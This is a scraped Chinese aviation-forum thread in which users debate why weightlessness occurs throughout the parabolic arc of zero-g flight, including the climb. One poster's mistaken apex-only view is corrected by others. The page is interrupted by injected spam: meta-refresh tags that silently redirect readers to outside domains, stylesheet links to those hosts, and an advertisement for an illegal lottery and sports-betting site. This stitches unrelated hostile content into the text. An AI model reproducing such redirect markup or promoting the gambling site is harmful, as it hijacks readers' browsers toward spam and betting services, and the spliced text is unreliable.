讨论:关于失重飞行

来源：百度文库编辑：超级军网时间：2024/04/28 20:09:09

很多网友对这张图失重飞行示意图表示质疑

主要的看法是失重不应该发生于上升段:L

先不讨论具体问题,看看下面两张图.

物体A置于B上.两物体仅仅受重力作用,且所受重力分别为G1,G2.左图中两物体同时向上升,右图中两物体同时向下降,两图里瞬时速度v大小相等但方向相反.假设A对B的压力为F;
问:左右两种状况下,哪个的F大?F小的那个是否处于失重状态?为什么<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />

 

 

(6.合.彩)♀足球♀篮球...各类投注开户下注
 
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
 很多网友对这张图失重飞行示意图表示质疑

主要的看法是失重不应该发生于上升段:L

先不讨论具体问题,看看下面两张图.

要看你怎么个同时升降了，如果是匀速的话2个都不是失重

上升阶段失重很正常，应为都在重力作用下减速，所以失重

晕!在"仅仅受重力作用"的情况下可能出现匀速运动吗??

原帖由 gameboy999 于 2007-9-25 16:16 发表
要看你怎么个同时升降了，如果是匀速的话2个都不是失重

上升阶段失重很正常，应为都在重力作用下减速，所以失重

这句话会被当成失重党的;P

大家继续，本理论物理负责人负责批改作业，给分;P

]]

那个什么两物体同时向下降的,我看就没有必要再写了吧,这字手打的真酸啊:D

还有最重要的,您看明白了吗?我可没有义务给人补习语文啊;P

7楼的全对
8楼的不及格，物理当中没有“施加给的速度”一说。看来楼上的不相信上抛的物体是失重的。;P

]]

不好意思，嚣张了，认错:L :L :handshake
不过你说得确实不对。
俺不卖关子了。为什么是最高段失重？楼主一直也没正面解释，俺给补上吧：
两物体仅仅受重力作用，毫无疑问，肯定是失重的。问题是怎么让这两个物体只受重力的的作用。
来看看飞机B，飞机飞行的时候除了重力，还受升力，发动机推力和空气阻力。后面两个不是树枝方向的，可以不计，但升力为什么可以不计？
楼主并没有回答在什么样的条件下升力可以不计的问题，这其实是关键。我们知道升力来自于飞机相对于空气的运动。贝努利定律就不说了，总之，飞得越快，升力越大，这也是常识。那么，飞得慢的时候，升力就小。
飞机什么时候飞得慢？当然是向上冲。能量守恒，冲到接近最高点的一段，速度最小，所以升力最小，所以最接近失重状态

原帖由 mobylee 于 2007-9-25 17:34 发表
既然你拿来失重飞行的和你自己画的图放到一起,我就视为他们相互有联系了

物体A置于B上.两物体仅仅受重力作用,且所受重力分别为G1,G2.左图中两物体同时向上升,图里瞬时速度v,假设A对B的压力为F;
----------- ...

果然你要补课了:L

问题(1):是不是物体有速度,就一定受力
问题(2):某力作用于某物体时,该物体是否一定沿该力的方向前进??
问题(3):请解释抛物线运动.为什么物体会走抛物线而不是一直上升到天顶星:D
我先帮你解答前两题[:a4:]
解答(1):不是!速度与受力无关
解答(2):也不是.举例:汽车刹车
至于第三提,留给你自己想.

在失重飞行的上升段,飞行员控制飞机,使飞机的推力刚好等于阻力,升力为0.此时飞机和人一起做抛物线运动,飞机和人的速度一致(大小,方向),人和飞机相对静止(当然是理想状态),因此对于飞机来说,人失重了[:a11:]

其实如果不是飞机性能限制,从抛物线一开始就可以产生失重现象.

原帖由 huor 于 2007-9-25 18:14 发表
不好意思，嚣张了，认错:L :L :handshake
不过你说得确实不对。
俺不卖关子了。为什么是最高段失重？楼主一直也没正面解释，俺给补上吧：
两物体仅仅受重力作用，毫无疑问，肯定是失重的。问题是怎么让这两 ...

大哥,我不是说了先不讨论具体问题嘛.先分析受力情况,再考虑如何实现

原帖由 huor 于 2007-9-25 18:14 发表
不好意思，嚣张了，认错:L :L :handshake
不过你说得确实不对。
俺不卖关子了。为什么是最高段失重？楼主一直也没正面解释，俺给补上吧：
两物体仅仅受重力作用，毫无疑问，肯定是失重的。问题是怎么让这两 ...

你讲了那么多,最重要的一句话就是----能量守恒，冲到接近最高点的一段，速度最小，所以升力最小，所以最接近失重状态

我们讨论是一大段的飞行失重时间啊.

]]

先感谢大家都来帮忙:D

楼上我先问你一个问题:我以45度角抛出一个鸡蛋.鸡蛋在脱离我手后的运动轨迹是怎么样的?;P

原帖由 大脑怪物 于 2007-9-25 19:15 发表
先感谢大家都来帮忙:D

楼上我先问你一个问题:我以45度角抛出一个鸡蛋.鸡蛋在脱离我手后的运动轨迹是怎么样的?;P

抛物线,在顶点的时候(一瞬间)处于失重状态.

你继续.....

速度，加速度，力~~ 初中内容啊~~
你不会是以为物体不受力了就不动了把？不然你怎么会问升力为0为什么上升速度不为0的问题~~

其他的么~~和你扯这个是为了说说清楚，免的到时候再理解错误`~~

原帖由 mobylee 于 2007-9-25 19:22 发表

抛物线,在顶点的时候(一瞬间)处于失重状态.

你继续.....

那我要问你了:蛋蛋脱手后还受什么力?为什么它不飞向天顶星而是要落回地球呢?

然后再思考,飞机的升力为0时,能不能继续向上运动.

先思考第一个问题,再考虑第二个问题.

刚吃完月饼,打嗝中:D

mobylee 还是觉得你该复习一下高中物理。20楼的“在顶点的时候(一瞬间)处于失重状态”，要是我当力学课助教，这样的作业落在我手里，肯定不及格的分数。
楼上的兄弟，一大段“飞行失重时间”标准答案就在你和7楼兄弟的手中，我觉得这里的帖子没必要讲这些基本问题。
另外，13楼你不觉得升力为0是件不怎么平凡的事吗？

失重情况出现在整个抛物线段，上升和下降。在那个飞行里，大约就25-30秒

在一般情况下，我们所谓“失重”从受力角度看就是只受重力作用，比如人在机舱里飘起等。在地球上，小的尺度下，只受重力作用的话，如果没有水平速度，就是竖直方向上的自由落体(其实不光是落，上升也是)；如果有速度，那么就是抛物线运动。(大的尺度就不考虑了，重力方向都会改变，比如卫星的运行)。显然，在这个例子里，人是有水平速度的，所以是个抛物线运动，那么问题就归结为飞机在那个时候要做一个抛物线运动。当然具体的抛物线的参数和当时的速度大小和角度，当地的重力加速度等因素有关。

我觉得飞机所受的阻力，升力和飞机的推力不宜简单的忽略。比如在抛物线段，飞机的推力和阻力在竖直方向都有分量的。我猜想飞行员在那个段通过调整发动机的推力和飞机的一些气动面，使得飞机的推力，阻力和升力尽可能相互抵消，只剩下重力对飞机的作用

mobylee网友说“在顶点的时候(一瞬间)处于失重状态”，真的是说错了，物理概念上有偏差。

呵呵，这种基础概念上就认识错误的同志，估计是十匹马也拉不回了，大家无视继续讨论吧。

作失重飞行的飞机据说都要进行改装，我想让推力和阻力抵消，让机翼不产生升力也不是太麻烦的事情，就像平飞的时候让机翼产生的升力和重力相同一样，其实也就是配平的问题吧。

升力为0或接近为0不奇怪,难的是在整个失重飞行过程中升力一直保持这样.那是相当的不平凡[:a11:]

据说实现失重飞行的飞机都改装过,不知道是否对主翼也进行改装

原帖由 大脑怪物 于 2007-9-26 09:14 发表
升力为0或接近为0不奇怪,难的是在整个失重飞行过程中升力一直保持这样.那是相当的不平凡[:a11:]

据说实现失重飞行的飞机都改装过,不知道是否对主翼也进行改装

我觉得应该是加装更灵敏的电传系统和惯性测量系统联动，改进一些控制面吧。

No structural modifications to the aircraft exterior are required. The FAA has approved a series scheduled inspections under ZERO-G’s “Continued Airworthiness Program” to insure continued aircraft’s safety.

原帖由 shh 于 2007-9-26 12:04 发表

我觉得在有速度时升力接近0恐怕并不容易，尤其在外形没有大改变时。据那个公司ZERO-G的资料，飞机外形并没有变动。改动的是液压系统，和在座舱里加了加速度计。原文在下面。

一般战斗机可以飞+G机动，也 ...

适当的负迎角可以使升力接近为0,当然这非常考驾驶员的技术

刚才看了下NASA的网站,发现他们的"0重力"飞机不止一架,而且都是拿商用飞机改装.小飞机用于载客体验或做实验,大飞机用于宇航员训练.真羡慕啊～航空工业发达就是好啊

我昨天晚上仔细想了一夜,终于开窍了.

确实是我的分析错了,谢谢大家费心的指正,个人还是比较感动的:)

前段时间心情有些急噪,回帖的时候可能没有经过慎重思考,这里我自己也做个检讨.

原帖由 大脑怪物 于 2007-9-26 13:38 发表

适当的负迎角可以使升力接近为0,当然这非常考驾驶员的技术

刚才看了下NASA的网站,发现他们的"0重力"飞机不止一架,而且都是拿商用飞机改装.小飞机用于载客体验或做实验,大飞机用于宇航员训练.真羡慕啊～航空 ...

毛毛的154失重飞行机和欧空局的空客失重飞行机也挺不错

前一段霍金在空客上就来了这么一次体验

原帖由 mobylee 于 2007-9-26 18:47 发表
我昨天晚上仔细想了一夜,终于开窍了.

确实是我的分析错了,谢谢大家费心的指正,个人还是比较感动的:)

前段时间心情有些急噪,回帖的时候可能没有经过慎重思考,这里我自己也做个检讨.

　　有错误改了就是好同志。
　　简单地说，你马上就能失重一下：
　　离开电脑桌，站在地板上，立定起跳，起跳方向随意。
　　当你的脚离开地板的那一瞬间，你就开始处于失重状态，这个状态一直持续到你回落到地面为止。
　　当然人已经适应了这么短时间的失重，所以不会有什么失重的感觉，如果你要有所感觉就要使失重状态维持到一秒以上。
　　这就要你能跳起的绝对高度达到两米二以上，或者从二楼半的地方往下面跳，危险自负。
　　当然也有不危险的方法：
　　1、到五米以上的跳台跳水。
　　2、到一些游乐设施，如跳蹦极，坐过山车、还有那种靠弾力上上下下弹的那种。
　　不过要说明的是在没适应前，失重的感觉是很不好受的。

讨论:关于失重飞行神奇的失重飞行关于那个失重贴失重关于模拟飞行板块能否讨论XPLANE? 成都“航空迪斯尼”2018年建成可体验失重飞行 [讨论]关于合作飞行表演动画的可行性研究，同意签名。关于宇航员失重的问题，哪位高人解答 [讨论]关于中国飞行员飞行小时数的一些问题 [讨论]答DASH8cool君之关于飞行问题的来信（欢迎各位参 ... 关于某飞机超高度飞行机舱情况的技术讨论讨论讨论关于T50